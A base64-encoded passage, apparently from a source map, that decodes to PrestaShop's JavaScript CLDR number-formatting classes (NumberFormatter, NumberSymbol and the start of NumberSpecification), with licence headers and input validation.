AvKipcbiAgICogUGVyZm9ybSBzb21lIG1vcmUgc3BlY2lmaWMgcmVwbGFjZW1lbnRzLlxuICAgKlxuICAgKiBTcGVjaWZpYyByZXBsYWNlbWVudHMgYXJlIG5lZWRlZCB3aGVuIG51bWJlciBzcGVjaWZpY2F0aW9uIGlzIGV4dGVuZGVkLlxuICAgKiBGb3IgaW5zdGFuY2UsIHByaWNlcyBoYXZlIGFuIGV4dGVuZGVkIG51bWJlciBzcGVjaWZpY2F0aW9uIGluIG9yZGVyIHRvXG4gICAqIGFkZCBjdXJyZW5jeSBzeW1ib2wgdG8gdGhlIGZvcm1hdHRlZCBudW1iZXIuXG4gICAqXG4gICAqIEBwYXJhbSBzdHJpbmcgZm9ybWF0dGVkTnVtYmVyXG4gICAqXG4gICAqIEByZXR1cm4gbWl4ZWRcbiAgICovXG4gIHBlcmZvcm1TcGVjaWZpY1JlcGxhY2VtZW50cyhmb3JtYXR0ZWROdW1iZXIpIHtcbiAgICBpZiAodGhpcy5udW1iZXJTcGVjaWZpY2F0aW9uIGluc3RhbmNlb2YgUHJpY2VTcGVjaWZpY2F0aW9uKSB7XG4gICAgICByZXR1cm4gZm9ybWF0dGVkTnVtYmVyXG4gICAgICAgIC5zcGxpdChDVVJSRU5DWV9TWU1CT0xfUExBQ0VIT0xERVIpXG4gICAgICAgIC5qb2luKHRoaXMubnVtYmVyU3BlY2lmaWNhdGlvbi5nZXRDdXJyZW5jeVN5bWJvbCgpKTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm9ybWF0dGVkTnVtYmVyO1xuICB9XG5cbiAgc3RhdGljIGJ1aWxkKHNwZWNpZmljYXRpb25zKSB7XG4gICAgbGV0IHN5bWJvbDtcblxuICAgIGlmICh1bmRlZmluZWQgIT09IHNwZWNpZmljYXRpb25zLm51bWJlclN5bWJvbHMpIHtcbiAgICAgIHN5bWJvbCA9IG5ldyBOdW1iZXJTeW1ib2woLi4uc3BlY2lmaWNhdGlvbnMubnVtYmVyU3ltYm9scyk7XG4gICAgfSBlbHNlIHtcbiAgICAgIHN5bWJvbCA9IG5ldyBOdW1iZXJTeW1ib2woLi4uc3BlY2lmaWNhdGlvbnMuc3ltYm9sKTtcbiAgICB9XG5cbiAgICBsZXQgc3BlY2lmaWNhdGlvbjtcblxuICAgIGlmIChzcGVjaWZpY2F0aW9ucy5jdXJyZW5jeVN5bWJvbCkge1xuICAgICAgc3BlY2lmaWNhdGlvbiA9IG5ldyBQcmljZVNwZWNpZmljYXRpb24oXG4gICAgICAgIHNwZWNpZmljYXRpb25zLnBvc2l0aXZlUGF0dGVybixcbiAgICAgICAgc3BlY2lmaWNhdGlvbnMubmVnYXRpdmVQYXR0ZXJuLFxuICAgICAgICBzeW1ib2wsXG4gICAgICAgIHBhcnNlSW50KHNwZWNpZmljYXRpb25zLm1heEZyYWN0aW9uRGlnaXRzLCAxMCksXG4gICAgICAgIHBhcnNlSW50KHNwZWNpZmljYXRpb25zLm1pbkZyYWN0aW9uRGlnaXRzLCAxMCksXG4gICAgICAgIHNwZWNpZmljYXRpb25zLmdyb3VwaW5nVXNlZCxcbiAgICAgICAgc3BlY2lmaWNhdGlvbnMucHJpbWFyeUdyb3VwU2l6ZSxcbiAgICAgICAgc3BlY2lmaWNhdGlvbnMuc2Vjb25kYXJ5R3JvdXBTaXplLFxuICAgICAgICBzcGVjaWZpY2F0aW9ucy5jdXJyZW5jeVN5bWJvbCxcbiAgICAgICAgc3BlY2lmaWNhdGlvbnMuY3VycmVuY3lDb2RlLFxuICAgICAgKTtcbiAgICB9IGVsc2Uge1xuICAgICAgc3BlY2lmaWNhdGlvbiA9IG5ldyBOdW1iZXJTcGVjaWZpY2F0aW9uKFxuICAgICAgICBzcGVjaWZpY2F0aW9ucy5wb3NpdGl2ZVBhdHRlcm4sXG4gICAgICAgIHNwZWNpZmljYXRpb25zLm5lZ2F0aXZlUGF0dGVybixcbiAgICAgICAgc3ltYm9sLFxuICAgICAgICBwYXJzZUludChzcGVjaWZpY2F0aW9ucy5tYXhGcmFjdGlvbkRpZ2l0cywgMTApLFxuICAgICAgICBwYXJzZUludChzcGVjaWZpY2F0aW9ucy5taW5GcmFjdGlvbkRpZ2l0cywgMTApLFxuICAgICAgICBzcGVjaWZpY2F0aW9ucy5ncm91cGluZ1VzZWQsXG4gICAgICAgIHNwZWNpZmljYXRpb25zLnByaW1hcnlHcm91cFNpemUsXG4gICAgICAgIHNwZWNpZmljYXRpb25zLnNlY29uZGFyeUdyb3VwU2l6ZSxcbiAgICAgICk7XG4gICAgfVxuXG4gICAgcmV0dXJuIG5ldyBOdW1iZXJGb3JtYXR0ZXIoc3BlY2lmaWNhdGlvbik7XG4gIH1cbn1cblxuZXhwb3J0IGRlZmF1bHQgTnVtYmVyRm9ybWF0dGVyO1xuIiwiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuaW1wb3J0IExvY2FsaXphdGlvbkV4Y2VwdGlvbiBmcm9tICdAYXBwL2NsZHIvZXhjZXB0aW9uL2xvY2FsaXphdGlvbic7XG5cbmNsYXNzIE51bWJlclN5bWJvbCB7XG4gIC8qKlxuICAgKiBOdW1iZXJTeW1ib2xMaXN0IGNvbnN0cnVjdG9yLlxuICAgKlxuICAgKiBAcGFyYW0gc3RyaW5nIGRlY2ltYWwgRGVjaW1hbCBzZXBhcmF0b3IgY2hhcmFjdGVyXG4gICAqIEBwYXJhbSBzdHJpbmcgZ3JvdXAgRGlnaXRzIGdyb3VwIHNlcGFyYXRvciBjaGFyYWN0ZXJcbiAgICogQHBhcmFtIHN0cmluZyBsaXN0IExpc3QgZWxlbWVudHMgc2VwYXJhdG9yIGNoYXJhY3RlclxuICAgKiBAcGFyYW0gc3RyaW5nIHBlcmNlbnRTaWduIFBlcmNlbnQgc2lnbiBjaGFyYWN0ZXJcbiAgICogQHBhcmFtIHN0cmluZyBtaW51c1NpZ24gTWludXMgc2lnbiBjaGFyYWN0ZXJcbiAgICogQHBhcmFtIHN0cmluZyBwbHVzU2lnbiBQbHVzIHNpZ24gY2hhcmFjdGVyXG4gICAqIEBwYXJhbSBzdHJpbmcgZXhwb25lbnRpYWwgRXhwb25lbnRpYWwgY2hhcmFjdGVyXG4gICAqIEBwYXJhbSBzdHJpbmcgc3VwZXJzY3JpcHRpbmdFeHBvbmVudCBTdXBlcnNjcmlwdGluZyBleHBvbmVudCBjaGFyYWN0ZXJcbiAgICogQHBhcmFtIHN0cmluZyBwZXJNaWxsZSBQZXJtaWxsZSBzaWduIGNoYXJhY3RlclxuICAgKiBAcGFyYW0gc3RyaW5nIGluZmluaXR5IFRoZSBpbmZpbml0eSBzaWduLiBDb3JyZXNwb25kcyB0byB0aGUgSUVFRSBpbmZpbml0eSBiaXQgcGF0dGVybi5cbiAgICogQHBhcmFtIHN0cmluZyBuYW4gVGhlIE5hTiAoTm90IEEgTnVtYmVyKSBzaWduLiBDb3JyZXNwb25kcyB0byB0aGUgSUVFRSBOYU4gYml0IHBhdHRlcm4uXG4gICAqXG4gICAqIEB0aHJvd3MgTG9jYWxpemF0aW9uRXhjZXB0aW9uXG4gICAqL1xuICBjb25zdHJ1Y3RvcihcbiAgICBkZWNpbWFsLFxuICAgIGdyb3VwLFxuICAgIGxpc3QsXG4gICAgcGVyY2VudFNpZ24sXG4gICAgbWludXNTaWduLFxuICAgIHBsdXNTaWduLFxuICAgIGV4cG9uZW50aWFsLFxuICAgIHN1cGVyc2NyaXB0aW5nRXhwb25lbnQsXG4gICAgcGVyTWlsbGUsXG4gICAgaW5maW5pdHksXG4gICAgbmFuLFxuICApIHtcbiAgICB0aGlzLmRlY2ltYWwgPSBkZWNpbWFsO1xuICAgIHRoaXMuZ3JvdXAgPSBncm91cDtcbiAgICB0aGlzLmxpc3QgPSBsaXN0O1xuICAgIHRoaXMucGVyY2VudFNpZ24gPSBwZXJjZW50U2lnbjtcbiAgICB0aGlzLm1pbnVzU2lnbiA9IG1pbnVzU2lnbjtcbiAgICB0aGlzLnBsdXNTaWduID0gcGx1c1NpZ247XG4gICAgdGhpcy5leHBvbmVudGlhbCA9IGV4cG9uZW50aWFsO1xuICAgIHRoaXMuc3VwZXJzY3JpcHRpbmdFeHBvbmVudCA9IHN1cGVyc2NyaXB0aW5nRXhwb25lbnQ7XG4gICAgdGhpcy5wZXJNaWxsZSA9IHBlck1pbGxlO1xuICAgIHRoaXMuaW5maW5pdHkgPSBpbmZpbml0eTtcbiAgICB0aGlzLm5hbiA9IG5hbjtcblxuICAgIHRoaXMudmFsaWRhdGVEYXRhKCk7XG4gIH1cblxuICAvKipcbiAgICogR2V0IHRoZSBkZWNpbWFsIHNlcGFyYXRvci5cbiAgICpcbiAgICogQHJldHVybiBzdHJpbmdcbiAgICovXG4gIGdldERlY2ltYWwoKSB7XG4gICAgcmV0dXJuIHRoaXMuZGVjaW1hbDtcbiAgfVxuXG4gIC8qKlxuICAgKiBHZXQgdGhlIGRpZ2l0IGdyb3VwcyBzZXBhcmF0b3IuXG4gICAqXG4gICAqIEByZXR1cm4gc3RyaW5nXG4gICAqL1xuICBnZXRHcm91cCgpIHtcbiAgICByZXR1cm4gdGhpcy5ncm91cDtcbiAgfVxuXG4gIC8qKlxuICAgKiBHZXQgdGhlIGxpc3QgZWxlbWVudHMgc2VwYXJhdG9yLlxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZ1xuICAgKi9cbiAgZ2V0TGlzdCgpIHtcbiAgICByZXR1cm4gdGhpcy5saXN0O1xuICB9XG5cbiAgLyoqXG4gICAqIEdldCB0aGUgcGVyY2VudCBzaWduLlxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZ1xuICAgKi9cbiAgZ2V0UGVyY2VudFNpZ24oKSB7XG4gICAgcmV0dXJuIHRoaXMucGVyY2VudFNpZ247XG4gIH1cblxuICAvKipcbiAgICogR2V0IHRoZSBtaW51cyBzaWduLlxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZ1xuICAgKi9cbiAgZ2V0TWludXNTaWduKCkge1xuICAgIHJldHVybiB0aGlzLm1pbnVzU2lnbjtcbiAgfVxuXG4gIC8qKlxuICAgKiBHZXQgdGhlIHBsdXMgc2lnbi5cbiAgICpcbiAgICogQHJldHVybiBzdHJpbmdcbiAgICovXG4gIGdldFBsdXNTaWduKCkge1xuICAgIHJldHVybiB0aGlzLnBsdXNTaWduO1xuICB9XG5cbiAgLyoqXG4gICAqIEdldCB0aGUgZXhwb25lbnRpYWwgY2hhcmFjdGVyLlxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZ1xuICAgKi9cbiAgZ2V0RXhwb25lbnRpYWwoKSB7XG4gICAgcmV0dXJuIHRoaXMuZXhwb25lbnRpYWw7XG4gIH1cblxuICAvKipcbiAgICogR2V0IHRoZSBleHBvbmVudCBjaGFyYWN0ZXIuXG4gICAqXG4gICAqIEByZXR1cm4gc3RyaW5nXG4gICAqL1xuICBnZXRTdXBlcnNjcmlwdGluZ0V4cG9uZW50KCkge1xuICAgIHJldHVybiB0aGlzLnN1cGVyc2NyaXB0aW5nRXhwb25lbnQ7XG4gIH1cblxuICAvKipcbiAgICogR2VydCB0aGUgcGVyIG1pbGxlIHN5bWJvbCAob2Z0ZW4gXCLigLBcIikuXG4gICAqXG4gICAqIEBzZWUgaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvUGVyX21pbGxlXG4gICAqXG4gICAqIEByZXR1cm4gc3RyaW5nXG4gICAqL1xuICBnZXRQZXJNaWxsZSgpIHtcbiAgICByZXR1cm4gdGhpcy5wZXJNaWxsZTtcbiAgfVxuXG4gIC8qKlxuICAgKiBHZXQgdGhlIGluZmluaXR5IHN5bWJvbCAob2Z0ZW4gXCLiiJ5cIikuXG4gICAqXG4gICAqIEBzZWUgaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvSW5maW5pdHlfc3ltYm9sXG4gICAqXG4gICAqIEByZXR1cm4gc3RyaW5nXG4gICAqL1xuICBnZXRJbmZpbml0eSgpIHtcbiAgICByZXR1cm4gdGhpcy5pbmZpbml0eTtcbiAgfVxuXG4gIC8qKlxuICAgKiBHZXQgdGhlIE5hTiAobm90IGEgbnVtYmVyKSBzaWduLlxuICAgKlxuICAgKiBAcmV0dXJuIHN0cmluZ1xuICAgKi9cbiAgZ2V0TmFuKCkge1xuICAgIHJldHVybiB0aGlzLm5hbjtcbiAgfVxuXG4gIC8qKlxuICAgKiBTeW1ib2xzIGxpc3QgdmFsaWRhdGlvbi5cbiAgICpcbiAgICogQHRocm93cyBMb2NhbGl6YXRpb25FeGNlcHRpb25cbiAgICovXG4gIHZhbGlkYXRlRGF0YSgpIHtcbiAgICBpZiAoIXRoaXMuZGVjaW1hbCB8fCB0eXBlb2YgdGhpcy5kZWNpbWFsICE9PSAnc3RyaW5nJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBkZWNpbWFsJyk7XG4gICAgfVxuXG4gICAgaWYgKCF0aGlzLmdyb3VwIHx8IHR5cGVvZiB0aGlzLmdyb3VwICE9PSAnc3RyaW5nJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBncm91cCcpO1xuICAgIH1cblxuICAgIGlmICghdGhpcy5saXN0IHx8IHR5cGVvZiB0aGlzLmxpc3QgIT09ICdzdHJpbmcnKSB7XG4gICAgICB0aHJvdyBuZXcgTG9jYWxpemF0aW9uRXhjZXB0aW9uKCdJbnZhbGlkIHN5bWJvbCBsaXN0Jyk7XG4gICAgfVxuXG4gICAgaWYgKCF0aGlzLnBlcmNlbnRTaWduIHx8IHR5cGVvZiB0aGlzLnBlcmNlbnRTaWduICE9PSAnc3RyaW5nJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBwZXJjZW50U2lnbicpO1xuICAgIH1cblxuICAgIGlmICghdGhpcy5taW51c1NpZ24gfHwgdHlwZW9mIHRoaXMubWludXNTaWduICE9PSAnc3RyaW5nJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBtaW51c1NpZ24nKTtcbiAgICB9XG5cbiAgICBpZiAoIXRoaXMucGx1c1NpZ24gfHwgdHlwZW9mIHRoaXMucGx1c1NpZ24gIT09ICdzdHJpbmcnKSB7XG4gICAgICB0aHJvdyBuZXcgTG9jYWxpemF0aW9uRXhjZXB0aW9uKCdJbnZhbGlkIHBsdXNTaWduJyk7XG4gICAgfVxuXG4gICAgaWYgKCF0aGlzLmV4cG9uZW50aWFsIHx8IHR5cGVvZiB0aGlzLmV4cG9uZW50aWFsICE9PSAnc3RyaW5nJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBleHBvbmVudGlhbCcpO1xuICAgIH1cblxuICAgIGlmICghdGhpcy5zdXBlcnNjcmlwdGluZ0V4cG9uZW50IHx8IHR5cGVvZiB0aGlzLnN1cGVyc2NyaXB0aW5nRXhwb25lbnQgIT09ICdzdHJpbmcnKSB7XG4gICAgICB0aHJvdyBuZXcgTG9jYWxpemF0aW9uRXhjZXB0aW9uKCdJbnZhbGlkIHN1cGVyc2NyaXB0aW5nRXhwb25lbnQnKTtcbiAgICB9XG5cbiAgICBpZiAoIXRoaXMucGVyTWlsbGUgfHwgdHlwZW9mIHRoaXMucGVyTWlsbGUgIT09ICdzdHJpbmcnKSB7XG4gICAgICB0aHJvdyBuZXcgTG9jYWxpemF0aW9uRXhjZXB0aW9uKCdJbnZhbGlkIHBlck1pbGxlJyk7XG4gICAgfVxuXG4gICAgaWYgKCF0aGlzLmluZmluaXR5IHx8IHR5cGVvZiB0aGlzLmluZmluaXR5ICE9PSAnc3RyaW5nJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBpbmZpbml0eScpO1xuICAgIH1cblxuICAgIGlmICghdGhpcy5uYW4gfHwgdHlwZW9mIHRoaXMubmFuICE9PSAnc3RyaW5nJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBuYW4nKTtcbiAgICB9XG4gIH1cbn1cblxuZXhwb3J0IGRlZmF1bHQgTnVtYmVyU3ltYm9sO1xuIiwiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuaW1wb3J0IExvY2FsaXphdGlvbkV4Y2VwdGlvbiBmcm9tICdAYXBwL2NsZHIvZXhjZXB0aW9uL2xvY2FsaXphdGlvbic7XG5pbXBvcnQgTnVtYmVyU3ltYm9sIGZyb20gJ0BhcHAvY2xkci9udW1iZXItc3ltYm9sJztcblxuY2xhc3MgTnVtYmVyU3BlY2lmaWNhdGlvbiB7XG4gIC8qKlxuICAgKiBOdW1iZXIgc3BlY2lmaWNhdGlvbiBjb25zdHJ1Y3Rvci5cbiAgICpcbiAgICogQHBhcmFtIHN0cmluZyBwb3NpdGl2ZVBhdHRlcm4gQ0xEUiBmb3JtYXR0aW5nIHBhdHRlcm4gZm9yIHBvc2l0aXZlIGFtb3VudHNcbiAgICogQHBhcmFtIHN0cmluZyBuZWdhdGl2ZVBhdHRlcm4gQ0xEUiBmb3JtYXR0aW5nIHBhdHRlcm4gZm9yIG5lZ2F0aXZlIGFtb3VudHNcbiAgICogQHBhcmFtIE51bWJlclN5bWJvbCBzeW1ib2wgTnVtYmVyIHN5bWJvbFxuICAgKiBAcGFyYW0gaW50IG1heEZyYWN0aW9uRGlnaXRzIE1heGltdW0gbnVtYmVyIG9mIGRpZ2l0cyBhZnRlciBkZWNpbWFsIHNlcGFyYXRvclxuICAgKiBAcGFyYW0gaW50IG1pbkZyYWN0aW9uRGlnaXRzIE1pbmltdW0gbnVtYmVyIG9mIGRpZ2l0cyBhZnRlciBkZWNpbWFsIHNlcGFyYXRvclxuICAgKiBAcGFyYW0gYm9vbCBncm91cGluZ1VzZWQgSXMgZGlnaXRzIGdyb3VwaW5nIHVzZWQgP1xuICAgKiBAcGFyYW0gaW50IHByaW1hcnlHcm91cFNpemUgU2l6ZSBvZiBwcmltYXJ5IGRpZ2l0cyBncm91cCBpbiB0aGUgbnVtYmVyXG4gICAqIEBwYXJhbSBpbnQgc2Vjb25kYXJ5R3JvdXBTaXplIFNpemUgb2Ygc2Vjb25kYXJ5IGRpZ2l0cyBncm91cCBpbiB0aGUgbnVtYmVyXG4gICAqXG4gICAqIEB0aHJvd3MgTG9jYWxpemF0aW9uRXhjZXB0aW9uXG4gICAqL1xuICBjb25zdHJ1Y3RvcihcbiAgICBwb3NpdGl2ZVBhdHRlcm4sXG4gICAgbmVnYXRpdmVQYXR0ZXJuLFxuICAgIHN5bWJvbCxcbiAgICBtYXhGcmFjdGlvbkRpZ2l0cyxcbiAgICBtaW5GcmFjdGlvbkRpZ2l0cyxcbiAgICBncm91cGluZ1VzZWQsXG4gICAgcHJpbWFyeUdyb3VwU2l6ZSxcbiAgICBzZWNvbmRhcnlHcm91cFNpemUsXG4gICkge1xuICAgIHRoaXMucG9zaXRpdmVQYXR0ZXJuID0gcG9zaXRpdmVQYXR0ZXJuO1xuICAgIHRoaXMubmVnYXRpdmVQYXR0ZXJuID0gbmVnYXRpdmVQYXR0ZXJuO1xuICAgIHRoaXMuc3ltYm9sID0gc3ltYm9sO1xuXG4gICAgdGhpcy5tYXhGcmFjdGlvbkRpZ2l0cyA9IG1heEZyYWN0aW9uRGlnaXRzO1xuICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZVxuICAgIHRoaXMubWluRnJhY3Rpb25EaWdpdHMgPSBtYXhGcmFjdGlvbkRpZ2l0cyA8IG1pbkZyYWN0aW9uRGlnaXRzID8gbWF4RnJhY3Rpb25EaWdpdHMgOiBtaW5GcmFjdGlvbkRpZ2l0cztcblxuICAgIHRoaXMuZ3JvdXBpbmdVc2VkID0gZ3JvdXBpbmdVc2VkO1xuICAgIHRoaXMucHJpbWFyeUdyb3VwU2l6ZSA9IHByaW1hcnlHcm91cFNpemU7XG4gICAgdGhpcy5zZWNvbmRhcnlHcm91cFNpemUgPSBzZWNvbmRhcnlHcm91cFNpemU7XG5cbiAgICBpZiAoIXRoaXMucG9zaXRpdmVQYXR0ZXJuIHx8IHR5cGVvZiB0aGlzLnBvc2l0aXZlUGF0dGVybiAhPT0gJ3N0cmluZycpIHtcbiAgICAgIHRocm93IG5ldyBMb2NhbGl6YXRpb25FeGNlcHRpb24oJ0ludmFsaWQgcG9zaXRpdmVQYXR0ZXJuJyk7XG4gICAgfVxuXG4gICAgaWYgKCF0aGlzLm5lZ2F0aXZlUGF0dGVybiB8fCB0eXBlb2YgdGhpcy5uZWdhdGl2ZVBhdHRlcm4gIT09ICdzdHJpbmcnKSB7XG4gICAgICB0aHJvdyBuZXcgTG9jYWxpemF0aW9uRXhjZXB0aW9uKCdJbnZhbGlkIG5lZ2F0aXZlUGF0dGVybicpO1xuICAgIH1cblxuICAgIGlmICghdGhpcy5zeW1ib2wgfHwgISh0aGlzLnN5bWJvbCBpbnN0YW5jZW9mIE51bWJlclN5bWJvbCkpIHtcbiAgICAgIHRocm93IG5ldyBMb2NhbGl6YXRpb25FeGNlcHRpb24oJ0ludmFsaWQgc3ltYm9sJyk7XG4gICAgfVxuXG4gICAgaWYgKHR5cGVvZiB0aGlzLm1heEZyYWN0aW9uRGlnaXRzICE9PSAnbnVtYmVyJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBtYXhGcmFjdGlvbkRpZ2l0cycpO1xuICAgIH1cblxuICAgIGlmICh0eXBlb2YgdGhpcy5taW5GcmFjdGlvbkRpZ2l0cyAhPT0gJ251bWJlcicpIHtcbiAgICAgIHRocm93IG5ldyBMb2NhbGl6YXRpb25FeGNlcHRpb24oJ0ludmFsaWQgbWluRnJhY3Rpb25EaWdpdHMnKTtcbiAgICB9XG5cbiAgICBpZiAodHlwZW9mIHRoaXMuZ3JvdXBpbmdVc2VkICE9PSAnYm9vbGVhbicpIHtcbiAgICAgIHRocm93IG5ldyBMb2NhbGl6YXRpb25FeGNlcHRpb24oJ0ludmFsaWQgZ3JvdXBpbmdVc2VkJyk7XG4gICAgfVxuXG4gICAgaWYgKHR5cGVvZiB0aGlzLnByaW1hcnlHcm91cFNpemUgIT09ICdudW1iZXInKSB7XG4gICAgICB0aHJvdyBuZXcgTG9jYWxpemF0aW9uRXhjZXB0aW9uKCdJbnZhbGlkIHByaW1hcnlHcm91cFNpemUnKTtcbiAgICB9XG5cbiAgICBpZiAodHlwZW9mIHRoaXMuc2Vjb25kYXJ5R3JvdXBTaXplICE9PSAnbnVtYmVyJykge1xuICAgICAgdGhyb3cgbmV3IExvY2FsaXphdGlvbkV4Y2VwdGlvbignSW52YWxpZCBzZWNvbmRhcnlHcm91cFNpemUnKTtcbiAgICB9XG4gIH1cblxuICAvKipcbiAgICogR2V0IHN5bWJvbC5cbiAgICpcbiAgICogQHJldHVybiBOdW1iZXJTeW1ib2xcbiAgICovXG4gIGdldFN5bWJvbCgpIHtcbiAgICByZXR1cm4gdGhpcy5zeW1ib2w7XG4gIH1cblxuICAvKipcbiAgICogR2V0IHRoZSBmb3JtYXR0aW5nIHJ1bGVzIGZvciB0aGlzIG51bWJlciAod2hlbiBwb3NpdGl2ZSkuXG4gICAqXG4gICAqIFRoaXMgcGF0dGVybiB1c2VzIHRoZSBVbmljb2RlIENMRFIgbnVtYmVyIHBhdHRlcm4gc3ludGF4XG4gICAqXG4gICAqIEByZXR1cm4gc3RyaW5nXG4gICAqL1xuICBnZXRQb3NpdGl2ZVBhdHRlcm4oKSB7XG4gICAgcmV0dXJuIHRoaXMucG9zaXRpdmVQYXR0ZXJuO1xuICB9XG5cbiAgLyoqXG4gICAqIEdldCB0aGUgZm9ybWF0dGluZyBydWxlcyBmb3IgdGhpcyBudW1iZXIgKHdoZW4gbmVnYXRpdmUpLlxuICAgKlxuICAgKiBUaGlzIHBhdHRlcm4gdXNlcyB0aGUgVW5pY29kZSBDTERSIG51bWJlciBwYXR0ZXJuIHN5b